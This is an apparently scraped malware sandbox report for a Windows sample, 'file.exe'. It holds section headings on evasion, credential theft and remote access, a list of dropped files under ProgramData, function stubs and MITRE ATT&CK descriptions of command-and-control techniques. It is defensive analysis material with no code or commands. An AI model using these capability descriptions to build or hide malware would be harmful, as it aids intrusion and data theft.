Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHJJEHI

C:\ProgramData\BGDGHJEHJJDAAAKEBGCFCAAAAE

C:\ProgramData\DGCAAFBFBKFIDGDHJDBK

C:\ProgramData\ECGDAAFIIJDAAAAKFHID

C:\ProgramData\FIIIIDGHJEBFBGDHDGII

C:\ProgramData\GIJDAFBK

C:\ProgramData\JKJDBAAAEHIEGCAKFHCGDHIEGD

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Function 6C5035A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 6C51C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Function 6C503060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Function 6C515440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587
threadtimeCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre